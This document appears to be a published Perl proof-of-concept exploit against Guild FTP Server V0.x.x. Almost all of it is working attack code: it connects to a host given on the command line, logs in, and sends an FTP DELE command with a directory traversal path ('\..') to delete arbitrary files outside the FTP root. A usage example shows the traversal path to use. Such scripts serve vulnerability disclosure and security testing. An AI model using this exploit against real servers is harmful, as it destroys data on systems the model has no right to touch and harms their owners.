This can be exploited to escape the FTP root and delete arbitrary files on # the system via directory traversal attacks using the "\.." character sequence. # # Author: Jonathan Salwan # Mail: submit [AT] shell-storm.org # Web: http://www.shell-storm.org use IO::Socket; print "[+] Author : Jonathan Salwan \n"; print "[+] Soft: Guild FTP Server V0.x.x\n"; print "[+] Exploit: Remote Delete File\n"; if (@ARGV < 5) { print "[*] Usage: <guildftp.pl> <host> <port> <login> <password> <file>\n"; print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan salwan ..\\\\test.txt\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; $user = $ARGV[2]; $pass = $ARGV[3]; $file = $ARGV[4]; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n"; print "\n[+] Connecting: Ok!\n"; print "[+] Sending request...\n"; print $socket "USER $user\n"; print $socket "PASS $pass\n"; print $socket "DELE $file\n"; sleep(5); close($socket); print "[+]Done!\n";
